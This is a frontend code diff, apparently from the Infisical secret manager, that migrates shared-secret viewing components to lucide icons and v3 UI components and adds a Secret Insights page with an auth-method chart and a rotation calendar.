+                style={
+                  brandingTheme
+                    ? ({ "--muted-color": brandingTheme.textMutedColor } as React.CSSProperties)
+                    : undefined
+                }
               >
-                <div className="flex items-center justify-between gap-2 rounded-md">
-                  <Input
-                    {...field}
-                    placeholder="Enter password to view secret"
-                    type="password"
-                    style={inputStyle}
-                    className={twMerge(
-                      "h-9",
-                      brandingTheme &&
-                        "border placeholder-[var(--muted-color)]/70 focus:ring-[var(--muted-color)]/50"
-                    )}
-                    containerClassName="bg-transparent border-transparent h-9"
-                  />
-                  <div className="flex">
-                    <IconButton
-                      ariaLabel="submit password"
-                      colorSchema="secondary"
-                      className="group relative size-9 hover:opacity-70"
-                      onClick={handleSubmit(onFormSubmit)}
-                      style={inputStyle}
-                    >
-                      <FontAwesomeIcon
-                        className={isSubmitting ? "fa-spin" : ""}
-                        icon={isSubmitting ? faSpinner : faArrowRight}
-                      />
-                    </IconButton>
-                  </div>
-                </div>
-              </FormControl>
-            </div>
+                Password
+              </FieldLabel>
+              <div className="flex items-center gap-2">
+                <Input
+                  {...field}
+                  autoFocus
+                  placeholder="Enter password to view secret"
+                  type="password"
+                  style={inputStyle}
+                  className={twMerge(
+                    "flex-1",
+                    brandingTheme &&
+                      "border placeholder:text-[var(--muted-color)]/50 focus-visible:ring-[var(--muted-color)]/50"
+                  )}
+                  isError={Boolean(error) || isInvalidCredential}
+                />
+              </div>
+              {(error || isInvalidCredential) && (
+                <FieldError>
+                  {isInvalidCredential ? "Invalid credential" : error?.message}
+                </FieldError>
+              )}
+            </Field>
           )}
         />
-      </form>
-      {!brandingTheme && (
         <Button
-          className="w-full bg-mineshaft-700 py-3 text-bunker-200"
-          colorSchema="primary"
-          variant="outline_bg"
-          size="sm"
-          onClick={() => window.open("/share-secret", "_blank", "noopener")}
-          rightIcon={<FontAwesomeIcon icon={faArrowRight} className="pl-2" />}
+          aria-label="submit password"
+          variant="project"
+          size="lg"
+          isFullWidth
+          className="mt-4"
+          onClick={handleSubmit(onFormSubmit)}
+          style={inputStyle}
+          isPending={isSubmitting}
+          isDisabled={!isDirty}
         >
-          Share Your Own Secret
+          View Secret
         </Button>
-      )}
+      </form>
     </div>
   );
 };
diff --git a/frontend/src/pages/public/ViewSharedSecretByIDPage/components/SecretContainer.tsx b/frontend/src/pages/public/ViewSharedSecretByIDPage/components/SecretContainer.tsx
index 4c603d18e21..d054eecf4f2 100644
--- a/frontend/src/pages/public/ViewSharedSecretByIDPage/components/SecretContainer.tsx
+++ b/frontend/src/pages/public/ViewSharedSecretByIDPage/components/SecretContainer.tsx
@@ -1,13 +1,6 @@
-import {
-  faArrowRight,
-  faCheck,
-  faCopy,
-  faEye,
-  faEyeSlash
-} from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+import { ClipboardCheckIcon, Copy, Eye, EyeOff, ForwardIcon } from "lucide-react";
 
-import { Button, IconButton } from "@app/components/v2";
+import { Button, IconButton } from "@app/components/v3";
 import { useTimedReset, useToggle } from "@app/hooks";
 import { TAccessSharedSecretResponse } from "@app/hooks/api/secretSharing";
 
@@ -50,54 +43,55 @@ export const SecretContainer = ({ secret, brandingTheme }: Props) => {
     : undefined;
 
   return (
-    <div
-      className={`rounded-lg border p-4 ${brandingTheme ? "" : "border-mineshaft-600 bg-mineshaft-800"}`}
-      style={panelStyle}
-    >
+    <div style={panelStyle}>
       <div
         className={`flex items-center justify-between rounded-md border p-2 pl-3 text-base ${
-          brandingTheme ? "" : "border-mineshaft-600 bg-mineshaft-700/50 text-gray-400"
+          brandingTheme ? "" : "border-border bg-container text-label"
         }`}
         style={secretDisplayStyle}
       >
         <p className="break-all whitespace-pre-wrap">
           {isVisible ? secret.secretValue : hiddenSecret}
         </p>
-        <div className="flex">
+        <div className="ml-1 flex">
           <IconButton
-            ariaLabel="copy icon"
-            colorSchema="secondary"
-            className="group relative size-9 hover:opacity-70"
+            aria-label="copy icon"
+            variant="ghost"
+            size="sm"
             onClick={() => {
               navigator.clipboard.writeText(secret.secretValue);
               setCopyTextSecret("Copied");
             }}
             style={iconButtonStyle}
           >
-            <FontAwesomeIcon icon={isCopyingSecret ? faCheck : faCopy} />
+            {isCopyingSecret ? (
+              <ClipboardCheckIcon className="size-4" />
+            ) : (
+              <Copy className="size-4" />
+            )}
           </IconButton>
           <IconButton
-            ariaLabel="toggle visibility"
-            colorSchema="secondary"
-            className="group relative ml-2 size-9 hover:opacity-70"
+            aria-label="toggle visibility"
+            variant="ghost"
+            size="sm"
+            className="ml-2"
             onClick={() => setIsVisible.toggle()}
             style={iconButtonStyle}
           >
-            <FontAwesomeIcon icon={isVisible ? faEyeSlash : faEye} />
+            {isVisible ? <EyeOff className="size-4" /> : <Eye className="size-4" />}
           </IconButton>
         </div>
       </div>
       <SecretShareInfo secret={secret} brandingTheme={brandingTheme} />
       {!brandingTheme && (
         <Button
-          className="mt-4 w-full bg-mineshaft-700 py-3 text-bunker-200"
-          colorSchema="primary"
-          variant="outline_bg"
-          size="sm"
+          className="mt-4 w-full"
+          variant="project"
+          size="lg"
           onClick={() => window.open("/share-secret", "_blank", "noopener")}
-          rightIcon={<FontAwesomeIcon icon={faArrowRight} className="pl-2" />}
         >
           Share Your Own Secret
+          <ForwardIcon />
         </Button>
       )}
     </div>
diff --git a/frontend/src/pages/public/ViewSharedSecretByIDPage/components/SecretErrorContainer.tsx b/frontend/src/pages/public/ViewSharedSecretByIDPage/components/SecretErrorContainer.tsx
index cffcf129a4f..455b4d58ef4 100644
--- a/frontend/src/pages/public/ViewSharedSecretByIDPage/components/SecretErrorContainer.tsx
+++ b/frontend/src/pages/public/ViewSharedSecretByIDPage/components/SecretErrorContainer.tsx
@@ -1,5 +1,6 @@
 import { TriangleAlertIcon } from "lucide-react";
-import { twMerge } from "tailwind-merge";
+
+import { Alert, AlertTitle } from "@app/components/v3";
 
 import { BrandingTheme } from "../ViewSharedSecretByIDPage";
 
@@ -18,20 +19,13 @@ export const SecretErrorContainer = ({ error, brandingTheme }: Props) => {
     : undefined;
 
   return (
-    <div
-      className={twMerge(
-        "rounded-lg border p-6",
-        !brandingTheme && "border-mineshaft-600 bg-mineshaft-800"
-      )}
-      style={panelStyle}
-    >
-      <div className="flex items-center gap-4">
-        <TriangleAlertIcon
-          className="shrink-0"
-          style={{ color: brandingTheme?.textMutedColor || "orangered" }}
-        />
-        <span>{error || "The secret you are looking for is missing or has expired"}</span>
-      </div>
-    </div>
+    <Alert variant={brandingTheme ? "default" : "danger"} style={panelStyle}>
+      <TriangleAlertIcon
+        style={brandingTheme ? { color: brandingTheme.textMutedColor } : undefined}
+      />
+      <AlertTitle style={brandingTheme ? { color: brandingTheme.textColor } : undefined}>
+        {error || "The secret you are looking for is missing or has expired"}
+      </AlertTitle>
+    </Alert>
   );
 };
diff --git a/frontend/src/pages/public/ViewSharedSecretByIDPage/components/SecretShareInfo.tsx b/frontend/src/pages/public/ViewSharedSecretByIDPage/components/SecretShareInfo.tsx
index e447b014765..c8f53a2c717 100644
--- a/frontend/src/pages/public/ViewSharedSecretByIDPage/components/SecretShareInfo.tsx
+++ b/frontend/src/pages/public/ViewSharedSecretByIDPage/components/SecretShareInfo.tsx
@@ -1,6 +1,5 @@
-import { faClock, faEye } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { format } from "date-fns";
+import { Clock, Eye } from "lucide-react";
 
 import { TAccessSharedSecretResponse } from "@app/hooks/api/secretSharing";
 
@@ -16,7 +15,7 @@ export const SecretShareInfo = ({ secret, brandingTheme }: Props) => {
 
   if (secret.expiresAt) {
     try {
-      timeRemaining = format(new Date(secret.expiresAt), "yyyy-MM-dd 'at' HH:mm a");
+      timeRemaining = format(new Date(secret.expiresAt), "MMM d, yyyy 'at' h:mm a");
     } catch {
       timeRemaining = null;
     }
@@ -45,27 +44,19 @@ export const SecretShareInfo = ({ secret, brandingTheme }: Props) => {
   return (
     <div
       className={`mt-4 flex flex-col gap-2 rounded-md border p-3 text-sm ${
-        brandingTheme ? "" : "border-mineshaft-600 bg-mineshaft-700/50 text-gray-300"
+        brandingTheme ? "" : "border-border bg-container text-label"
       }`}
       style={infoStyle}
     >
       {timeRemaining && (
         <div className="flex items-center gap-2">
-          <FontAwesomeIcon
-            icon={faClock}
-            className={brandingTheme ? "" : "text-mineshaft-400"}
-            style={iconStyle}
-          />
+          <Clock className="size-3.5 shrink-0" style={iconStyle} />
           <span>Expires on {timeRemaining}</span>
         </div>
       )}
       {viewsRemaining !== null && (
         <div className="flex items-center gap-2">
-          <FontAwesomeIcon
-            icon={faEye}
-            className={brandingTheme ? "" : "text-mineshaft-400"}
-            style={iconStyle}
-          />
+          <Eye className="size-3.5 shrink-0" style={iconStyle} />
           <span>
             {viewsRemaining === 0
               ? "This is the last time you can view this secret"
diff --git a/frontend/src/pages/secret-manager/CommitDetailsPage/components/SecretVersionDiffView/SecretVersionDiffView.tsx b/frontend/src/pages/secret-manager/CommitDetailsPage/components/SecretVersionDiffView/SecretVersionDiffView.tsx
index 36e4ca9c531..5377ccceadd 100644
--- a/frontend/src/pages/secret-manager/CommitDetailsPage/components/SecretVersionDiffView/SecretVersionDiffView.tsx
+++ b/frontend/src/pages/secret-manager/CommitDetailsPage/components/SecretVersionDiffView/SecretVersionDiffView.tsx
@@ -10,17 +10,17 @@ import {
   SecretVersionData
 } from "@app/components/secrets/diff";
 import {
+  Accordion,
+  AccordionContent,
+  AccordionItem,
+  AccordionTrigger,
   Badge,
   Checkbox,
+  IconButton,
   Label,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableAccordion,
-  UnstableAccordionContent,
-  UnstableAccordionItem,
-  UnstableAccordionTrigger,
-  UnstableIconButton
+  TooltipTrigger
 } from "@app/components/v3";
 
 export interface Version {
@@ -225,13 +225,13 @@ export const SecretVersionDiffView = ({
   const TypeIcon = isSecret ? KeyRoundIcon : FolderIcon;
 
   return (
-    <UnstableAccordion
+    <Accordion
       {...accordionProps}
       className={twMerge("overflow-clip rounded-md border border-border", viewed && "opacity-60")}
     >
-      <UnstableAccordionItem value={item.id} className="border-b-0">
+      <AccordionItem value={item.id} className="border-b-0">
         {showHeader && (
-          <UnstableAccordionTrigger className="min-h-10 overflow-hidden py-0">
+          <AccordionTrigger className="min-h-10 overflow-hidden py-0">
             {customHeader ?? (
               <>
                 <TypeIcon className="size-4 shrink-0 text-accent" />
@@ -260,7 +260,7 @@ export const SecretVersionDiffView = ({
                 {onDiscard && (
                   <Tooltip delayDuration={300}>
                     <TooltipTrigger asChild>
-                      <UnstableIconButton
+                      <IconButton
                         variant="ghost"
                         size="xs"
                         className="hover:text-danger"
@@ -270,17 +270,17 @@ export const SecretVersionDiffView = ({
                         }}
                       >
                         <TrashIcon />
-                      </UnstableIconButton>
+                      </IconButton>
                     </TooltipTrigger>
                     <TooltipContent side="left">Discard change</TooltipContent>
                   </Tooltip>
                 )}
               </>
             )}
-          </UnstableAccordionTrigger>
+          </AccordionTrigger>
         )}
-        <UnstableAccordionContent className="p-0">{diffContent}</UnstableAccordionContent>
-      </UnstableAccordionItem>
-    </UnstableAccordion>
+        <AccordionContent className="p-0">{diffContent}</AccordionContent>
+      </AccordionItem>
+    </Accordion>
   );
 };
diff --git a/frontend/src/pages/secret-manager/InsightsPage/InsightsPage.tsx b/frontend/src/pages/secret-manager/InsightsPage/InsightsPage.tsx
new file mode 100644
index 00000000000..add4ba9c722
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/InsightsPage.tsx
@@ -0,0 +1,68 @@
+import { useEffect } from "react";
+import { Helmet } from "react-helmet";
+
+import { UpgradePlanModal } from "@app/components/license/UpgradePlanModal";
+import { PageHeader } from "@app/components/v2";
+import {
+  ProjectPermissionInsightsActions,
+  ProjectPermissionSub,
+  useSubscription
+} from "@app/context";
+import { withProjectPermission } from "@app/hoc";
+import { ProjectType } from "@app/hooks/api/projects/types";
+import { usePopUp } from "@app/hooks/usePopUp";
+
+import {
+  AuthMethodChart,
+  CalendarCard,
+  InsightsSummaryCards,
+  SecretAccessChart
+} from "./components";
+
+export const InsightsPage = withProjectPermission(
+  () => {
+    const { subscription } = useSubscription();
+    const { popUp, handlePopUpOpen, handlePopUpToggle } = usePopUp(["upgradePlan"] as const);
+
+    useEffect(() => {
+      if (subscription && !subscription.secretAccessInsights) {
+        handlePopUpOpen("upgradePlan");
+      }
+    }, [subscription]);
+
+    return (
+      <>
+        <Helmet>
+          <title>Insights</title>
+        </Helmet>
+        <PageHeader
+          scope={ProjectType.SecretManager}
+          title="Secret Insights"
+          description="Monitor upcoming secret rotations and reminders across your project."
+        />
+        <InsightsSummaryCards />
+        <div className="flex flex-col gap-6 xl:flex-row">
+          <div className="mt-6 flex flex-[1.3] flex-col gap-6">
+            {/* <WorldMap /> */}
+            <CalendarCard />
+          </div>
+          <div className="flex flex-1 flex-col gap-6 xl:mt-6">
+            <SecretAccessChart />
+            <AuthMethodChart />
+          </div>
+        </div>
+        <UpgradePlanModal
+          isOpen={popUp.upgradePlan.isOpen}
+          onOpenChange={(isOpen) => {
+            handlePopUpToggle("upgradePlan", isOpen);
+          }}
+          text="Your current plan does not include access to secret insights. To unlock this feature, please upgrade your Infisical plan."
+        />
+      </>
+    );
+  },
+  {
+    action: ProjectPermissionInsightsActions.Read,
+    subject: ProjectPermissionSub.Insights
+  }
+);
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/AuthMethodChart.tsx b/frontend/src/pages/secret-manager/InsightsPage/components/AuthMethodChart.tsx
new file mode 100644
index 00000000000..29918f3ee0e
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/AuthMethodChart.tsx
@@ -0,0 +1,178 @@
+import { useMemo } from "react";
+import { InfoIcon } from "lucide-react";
+import { Cell, Pie, PieChart, ResponsiveContainer, Tooltip } from "recharts";
+
+import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  Skeleton,
+  Tooltip as V3Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
+import { useProject } from "@app/context";
+import { useGetAuthMethodDistribution } from "@app/hooks/api";
+
+// Palette using theme-aligned colors
+// 13 muted, dark-theme-friendly base colors (used for legend dots and gradient outer stops)
+const COLORS = [
+  "#63b0bd", // teal (info)
+  "#f1c40f", // gold (warning)
+  "#6dbf8b", // sage green
+  "#c084d8", // soft purple
+  "#e8855e", // burnt orange
+  "#5b9bd5", // steel blue
+  "#e06b8f", // dusty rose
+  "#85c46c", // leaf green
+  "#d4a054", // amber
+  "#7b8ec4", // periwinkle
+  "#cb6b6b", // muted red
+  "#4fc1b0", // seafoam
+  "#b8a060" // olive gold
+];
+
+// Radial gradient IDs for each color — fades from color at outer edge to transparent at center
+const gradientId = (index: number) => `pie-radial-${index}`;
+
+export const AuthMethodChart = () => {
+  const { projectId } = useProject();
+
+  const { data, isPending } = useGetAuthMethodDistribution(
+    { projectId, days: 30 },
+    { enabled: !!projectId }
+  );
+
+  const methods = data?.methods ?? [];
+  const total = useMemo(() => methods.reduce((sum, m) => sum + m.count, 0), [methods]);
+
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle>Authentication Methods</CardTitle>
+        <CardDescription>
+          Distribution of auth methods used for secret access over the past 30 days
+        </CardDescription>
+      </CardHeader>
+      <CardContent>
+        {isPending && <Skeleton className="h-[260px] w-full" />}
+        {!isPending && methods.length === 0 && (
+          <Empty className="border-0">
+            <EmptyHeader>
+              <EmptyTitle>No secret access data available</EmptyTitle>
+            </EmptyHeader>
+          </Empty>
+        )}
+        {!isPending && methods.length > 0 && (
+          <div className="flex items-center gap-8">
+            <div className="shrink-0">
+              <ResponsiveContainer width={220} height={220}>
+                <PieChart>
+                  <defs>
+                    {COLORS.map((color, i) => (
+                      <radialGradient
+                        key={gradientId(i)}
+                        id={gradientId(i)}
+                        cx="50%"
+                        cy="50%"
+                        r="50%"
+                        gradientUnits="userSpaceOnUse"
+                        fx="110"
+                        fy="110"
+                      >
+                        <stop offset="0%" stopColor={color} stopOpacity={0.1} />
+                        <stop offset="55%" stopColor={color} stopOpacity={0.4} />
+                        <stop offset="100%" stopColor={color} stopOpacity={0.85} />
+                      </radialGradient>
+                    ))}
+                  </defs>
+                  <Pie
+                    data={methods}
+                    dataKey="count"
+                    nameKey="method"
+                    cx="50%"
+                    cy="50%"
+                    innerRadius={55}
+                    outerRadius={95}
+                    strokeWidth={2}
+                    stroke="var(--color-card)"
+                    paddingAngle={2}
+                  >
+                    {methods.map((entry, index) => (
+                      <Cell
+                        key={entry.method}
+                        fill={`url(#${gradientId(index % COLORS.length)})`}
+                        style={{ outline: "none" }}
+                      />
+                    ))}
+                  </Pie>
+                  <Tooltip
+                    contentStyle={{
+                      backgroundColor: "var(--color-popover)",
+                      border: "1px solid var(--color-border)",
+                      borderRadius: 8,
+                      fontSize: 12
+                    }}
+                    labelStyle={{ color: "var(--color-foreground)" }}
+                    formatter={(value, name) => [
+                      `${Number(value).toLocaleString()} (${total > 0 ? Math.round((Number(value) / total) * 100) : 0}%)`,
+                      String(name)
+                    ]}
+                  />
+                </PieChart>
+              </ResponsiveContainer>
+            </div>
+            <div className="flex flex-1 flex-col gap-2">
+              {methods.map((entry, index) => {
+                const pct = total > 0 ? Math.round((entry.count / total) * 100) : 0;
+                return (
+                  <div key={entry.method} className="flex items-center gap-3">
+                    <span
+                      className="size-2.5 shrink-0 rounded-full"
+                      style={{ backgroundColor: COLORS[index % COLORS.length] }}
+                    />
+                    <span className="flex-1 text-sm">
+                      {entry.method}
+                      {entry.method === "Unknown" && (
+                        <V3Tooltip>
+                          <TooltipTrigger asChild>
+                            <InfoIcon className="mb-0.5 ml-1 inline size-3 text-muted" />
+                          </TooltipTrigger>
+                          <TooltipContent>
+                            <p className="max-w-xs text-xs">
+                              Only new requests will display the auth method. Older requests may not
+                              have this information recorded.
+                            </p>
+                          </TooltipContent>
+                        </V3Tooltip>
+                      )}
+                    </span>
+                    <span className="text-sm text-muted">{pct}%</span>
+                    <span className="min-w-[60px] text-right text-sm font-medium">
+                      {entry.count.toLocaleString()}
+                    </span>
+                  </div>
+                );
+              })}
+              <div className="mt-1 border-t border-border pt-2">
+                <div className="flex items-center gap-3">
+                  <span className="size-2.5 shrink-0" />
+                  <span className="flex-1 text-sm font-medium">Total</span>
+                  <span className="text-sm text-muted" />
+                  <span className="min-w-[60px] text-right text-sm font-medium">
+                    {total.toLocaleString()}
+                  </span>
+                </div>
+              </div>
+            </div>
+          </div>
+        )}
+      </CardContent>
+    </Card>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/CalendarCard.tsx b/frontend/src/pages/secret-manager/InsightsPage/components/CalendarCard.tsx
new file mode 100644
index 00000000000..b39cd48ab08
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/CalendarCard.tsx
@@ -0,0 +1,77 @@
+import { useState } from "react";
+import { addMonths, format, subMonths } from "date-fns";
+import { ChevronLeft, ChevronRight } from "lucide-react";
+
+import { Lottie } from "@app/components/v2";
+import {
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  IconButton
+} from "@app/components/v3";
+import { useProject } from "@app/context";
+import { useGetCalendarInsights } from "@app/hooks/api";
+
+import { CalendarGrid } from "./CalendarGrid";
+import { CalendarLegend } from "./CalendarLegend";
+
+export const CalendarCard = () => {
+  const { projectId } = useProject();
+  const [currentMonth, setCurrentMonth] = useState(new Date());
+
+  const month = currentMonth.getMonth() + 1;
+  const year = currentMonth.getFullYear();
+
+  const { data, isPending } = useGetCalendarInsights(
+    { projectId, month, year },
+    { enabled: !!projectId }
+  );
+
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle>Rotation & Reminder Calendar</CardTitle>
+        <CardDescription>View upcoming secret rotations and reminders</CardDescription>
+        <CardAction>
+          <div className="ml-4 flex items-center gap-1">
+            <IconButton
+              variant="ghost"
+              size="xs"
+              onClick={() => setCurrentMonth((prev) => subMonths(prev, 1))}
+            >
+              <ChevronLeft className="size-4" />
+            </IconButton>
+            <span className="min-w-[140px] text-center text-sm font-medium">
+              {format(currentMonth, "MMMM yyyy")}
+            </span>
+            <IconButton
+              variant="ghost"
+              size="xs"
+              onClick={() => setCurrentMonth((prev) => addMonths(prev, 1))}
+            >
+              <ChevronRight className="size-4" />
+            </IconButton>
+          </div>
+        </CardAction>
+      </CardHeader>
+      <CardContent>
+        <div className="relative">
+          <CalendarGrid
+            currentMonth={currentMonth}
+            rotations={data?.rotations ?? []}
+            reminders={data?.reminders ?? []}
+          />
+          {isPending && (
+            <div className="absolute inset-0 flex items-center justify-center bg-container/40">
+              <Lottie icon="infisical_loading_white" isAutoPlay className="w-16" />
+            </div>
+          )}
+        </div>
+        <CalendarLegend />
+      </CardContent>
+    </Card>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/CalendarDayCell.tsx b/frontend/src/pages/secret-manager/InsightsPage/components/CalendarDayCell.tsx
new file mode 100644
index 00000000000..e7a12842a7e
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/CalendarDayCell.tsx
@@ -0,0 +1,79 @@
+import { useState } from "react";
+import { isToday } from "date-fns";
+
+import { Badge } from "@app/components/v3/generic/Badge";
+import { Popover, PopoverContent, PopoverTrigger } from "@app/components/v3/generic/Popover";
+
+import { CalendarEventPill } from "./CalendarEventPill";
+import { CalendarEvent } from "./types";
+
+const MAX_SLOTS = 2;
+
+const getBgClass = (today: boolean, isCurrentMonth: boolean) => {
+  if (today) return isCurrentMonth ? "bg-muted/5" : "bg-card/50";
+  return isCurrentMonth ? "bg-container" : "bg-card";
+};
+
+export const CalendarDayCell = ({
+  date,
+  isCurrentMonth,
+  events
+}: {
+  date: Date;
+  isCurrentMonth: boolean;
+  events: CalendarEvent[];
+}) => {
+  const [overflowOpen, setOverflowOpen] = useState(false);
+  const today = isToday(date);
+  const dayNum = date.getDate();
+  // If everything fits in MAX_SLOTS, show all. Otherwise reserve 1 slot for the overflow badge.
+  const hasOverflow = events.length > MAX_SLOTS;
+  const visibleCount = hasOverflow ? MAX_SLOTS - 1 : events.length;
+  const visibleEvents = events.slice(0, visibleCount);
+  const overflowCount = events.length - visibleCount;
+
+  return (
+    <div
+      className={`min-h-[86px] border border-border p-2 transition-colors duration-75 hover:bg-container-hover ${getBgClass(
+        today,
+        isCurrentMonth
+      )}`}
+    >
+      <div className="mb-1">
+        {today ? (
+          <span className="inline-flex size-7 items-center justify-center rounded border border-border bg-muted/35 text-sm font-medium text-foreground">
+            {dayNum}
+          </span>
+        ) : (
+          <span className="text-sm text-label">{dayNum}</span>
+        )}
+      </div>
+      <div className="flex flex-col gap-1">
+        {visibleEvents.map((event) => (
+          <CalendarEventPill key={`${event.type}-${event.data.id}`} event={event} />
+        ))}
+        {hasOverflow && (
+          <Popover open={overflowOpen} onOpenChange={setOverflowOpen}>
+            <PopoverTrigger asChild>
+              <Badge asChild variant="neutral" isFullWidth className="justify-center">
+                <button type="button" onClick={(e) => e.stopPropagation()}>
+                  +{overflowCount} more
+                </button>
+              </Badge>
+            </PopoverTrigger>
+            <PopoverContent className="w-48 bg-card" align="start">
+              <div className="flex flex-col gap-1.5">
+                {events.map((event) => (
+                  <CalendarEventPill
+                    key={`overflow-${event.type}-${event.data.id}`}
+                    event={event}
+                  />
+                ))}
+              </div>
+            </PopoverContent>
+          </Popover>
+        )}
+      </div>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/CalendarEventDetail.tsx b/frontend/src/pages/secret-manager/InsightsPage/components/CalendarEventDetail.tsx
new file mode 100644
index 00000000000..e7b2130abd4
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/CalendarEventDetail.tsx
@@ -0,0 +1,172 @@
+import { Link, useParams } from "@tanstack/react-router";
+import { format, formatDistanceToNow } from "date-fns";
+import { BanIcon, BellIcon, ExternalLink, RefreshCwIcon, XIcon } from "lucide-react";
+
+import {
+  Badge,
+  Button,
+  Detail,
+  DetailGroup,
+  DetailLabel,
+  DetailValue,
+  Separator
+} from "@app/components/v3";
+
+import { CalendarEvent } from "./types";
+
+const RotationStatusBadge = ({
+  status,
+  nextRotationAt,
+  isAutoRotationEnabled
+}: {
+  status: string | null;
+  nextRotationAt: string | null;
+  isAutoRotationEnabled: boolean;
+}) => {
+  if (status === "failed") {
+    return (
+      <Badge variant="danger">
+        <XIcon />
+        Rotation Failed
+      </Badge>
+    );
+  }
+
+  if (!isAutoRotationEnabled) {
+    return (
+      <Badge variant="neutral">
+        <BanIcon />
+        Auto-Rotation Disabled
+      </Badge>
+    );
+  }
+
+  if (!nextRotationAt) {
+    return <Badge variant="info">Active</Badge>;
+  }
+
+  const daysToRotation = (new Date(nextRotationAt).getTime() - Date.now()) / (1000 * 60 * 60 * 24);
+
+  return (
+    <Badge variant={daysToRotation >= 7 ? "info" : "warning"} className="capitalize">
+      <RefreshCwIcon />
+      {daysToRotation < 0
+        ? "Rotating"
+        : `Rotates ${formatDistanceToNow(new Date(nextRotationAt), { addSuffix: true })}`}
+    </Badge>
+  );
+};
+
+const getDateString = (event: CalendarEvent): string => {
+  if (event.type === "rotation") {
+    if (!event.data.nextRotationAt) return "N/A";
+    return format(new Date(event.data.nextRotationAt), "MMM d, yyyy 'at' h:mm a");
+  }
+  return format(new Date(event.data.nextReminderDate), "MMM d, yyyy");
+};
+
+export const CalendarEventDetail = ({ event }: { event: CalendarEvent }) => {
+  const { orgId, projectId } = useParams({
+    strict: false,
+    select: (p) => ({
+      orgId: (p as Record<string, string>).orgId,
+      projectId: (p as Record<string, string>).projectId
+    })
+  });
+
+  const isRotation = event.type === "rotation";
+  const title = isRotation ? event.data.name : event.data.secretKey;
+  const dateStr = getDateString(event);
+  const { environment, secretPath } = event.data;
+
+  return (
+    <div className="flex flex-col gap-4">
+      <div className="flex items-center justify-between">
+        <h3 className="truncate text-sm font-semibold">{title}</h3>
+        <Badge variant={isRotation ? "info" : "warning"}>
+          {isRotation ? <RefreshCwIcon /> : <BellIcon />}
+          {isRotation ? "Rotation" : "Reminder"}
+        </Badge>
+      </div>
+      <Separator />
+      <DetailGroup>
+        <Detail>
+          <DetailLabel>Date</DetailLabel>
+          <DetailValue>{dateStr}</DetailValue>
+        </Detail>
+        <Detail>
+          <DetailLabel>Environment</DetailLabel>
+          <DetailValue>{environment}</DetailValue>
+        </Detail>
+        <Detail>
+          <DetailLabel>Path</DetailLabel>
+          <DetailValue>{secretPath}</DetailValue>
+        </Detail>
+
+        {isRotation && (
+          <>
+            <Detail>
+              <DetailLabel>Interval</DetailLabel>
+              <DetailValue>
+                Every {event.data.rotationInterval} day
+                {event.data.rotationInterval !== 1 ? "s" : ""}
+              </DetailValue>
+            </Detail>
+            <Detail>
+              <DetailLabel>Status</DetailLabel>
+              <DetailValue>
+                <RotationStatusBadge
+                  status={event.data.rotationStatus}
+                  nextRotationAt={event.data.nextRotationAt}
+                  isAutoRotationEnabled={event.data.isAutoRotationEnabled}
+                />
+              </DetailValue>
+            </Detail>
+            <Detail>
+              <DetailLabel>Secret Keys</DetailLabel>
+              <DetailValue>
+                {event.data.secretKeys.map((key) => <p key={key}>{key}</p>) || "—"}
+              </DetailValue>
+            </Detail>
+          </>
+        )}
+
+        {!isRotation && (
+          <>
+            {event.data.message && (
+              <Detail>
+                <DetailLabel>Message</DetailLabel>
+                <DetailValue>{event.data.message}</DetailValue>
+              </Detail>
+            )}
+            {event.data.repeatDays && (
+              <Detail>
+                <DetailLabel>Repeat</DetailLabel>
+                <DetailValue>
+                  Every {event.data.repeatDays} day
+                  {event.data.repeatDays !== 1 ? "s" : ""}
+                </DetailValue>
+              </Detail>
+            )}
+          </>
+        )}
+      </DetailGroup>
+
+      <Button asChild variant="project" size="sm" isFullWidth>
+        <Link
+          to="/organizations/$orgId/projects/secret-management/$projectId/overview"
+          params={{ orgId: orgId!, projectId: projectId! }}
+          search={{
+            secretPath,
+            search: title,
+            environments: [environment],
+            filterBy: isRotation ? "rotation" : "secret"
+          }}
+        >
+          <ExternalLink />
+          View in Overview
+        </Link>
+      </Button>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/CalendarEventPill.tsx b/frontend/src/pages/secret-manager/InsightsPage/components/CalendarEventPill.tsx
new file mode 100644
index 00000000000..226aab3f868
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/CalendarEventPill.tsx
@@ -0,0 +1,36 @@
+import { useState } from "react";
+import { BellIcon, RefreshCwIcon } from "lucide-react";
+
+import { Badge } from "@app/components/v3/generic/Badge";
+import { Popover, PopoverContent, PopoverTrigger } from "@app/components/v3/generic/Popover";
+
+import { CalendarEventDetail } from "./CalendarEventDetail";
+import { CalendarEvent } from "./types";
+
+export const CalendarEventPill = ({ event }: { event: CalendarEvent }) => {
+  const [open, setOpen] = useState(false);
+  const label = event.type === "rotation" ? event.data.name : event.data.secretKey;
+  const isRotation = event.type === "rotation";
+
+  return (
+    <Popover open={open} onOpenChange={setOpen}>
+      <PopoverTrigger asChild>
+        <Badge
+          asChild
+          className="justify-start"
+          variant={isRotation ? "info" : "warning"}
+          isFullWidth
+          isTruncatable
+        >
+          <button type="button" onClick={(e) => e.stopPropagation()} title={label}>
+            {isRotation ? <RefreshCwIcon /> : <BellIcon />}
+            <span>{label}</span>
+          </button>
+        </Badge>
+      </PopoverTrigger>
+      <PopoverContent side="left" className="w-80 bg-card" align="start">
+        <CalendarEventDetail event={event} />
+      </PopoverContent>
+    </Popover>
